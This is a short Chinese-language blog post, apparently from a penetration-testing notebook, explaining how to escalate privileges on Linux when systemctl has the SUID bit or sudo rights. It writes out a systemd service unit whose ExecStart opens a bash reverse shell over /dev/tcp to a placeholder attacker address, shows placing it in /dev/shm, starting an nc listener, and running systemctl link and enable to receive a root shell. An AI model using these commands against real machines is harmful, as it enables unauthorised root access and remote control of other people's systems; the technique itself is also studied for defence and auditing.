suid-systemctl提权

当systemctl具备suid位或sudo权限时,可以用来进行提权。

一、首先编写一个service unit用来被systemctl加载

echo '[Service]
Type=oneshot
ExecStart=/bin/bash -c "/bin/bash -i > /dev/tcp/x.x.x.x/xxx 0>&1 2<&1"
[Install]
WantedBy=multi-user.target' > mm.service

#生成的unit名位mm.service

二、把unit放置在合适的位置

通常unit存放在/usr/lib/systemd/system/ 和 /etc/systemd/system/,可以被systemctl加载执行,但是渗透过程中需要提权的场景往往权限较小,这些目录不可写。而systemctl的特性决定了,当unit在/tmp目录下时,无法被systemctl加载。这里需要掌握一个神奇的目录:/dev/shm/,关于这个目录的解读可以移步:https://www.cnblogs.com/tinywan/p/10550356.html学习掌握。这里就可以把我们生成的unit文件放置再这个目录

三、攻击机上启动监听

nc -lvnp 9999

四、被攻击机器执行下列命令启动我们写好的service unit

systemctl link /dev/shm/mm.service
systemctl enable --now /dev/shm/mm.service

这个时候可以在攻击机上看到反弹回的高权限shell

posted @ 2021-05-18 16:13  隐念笎  阅读(1378)  评论(0编辑  收藏  举报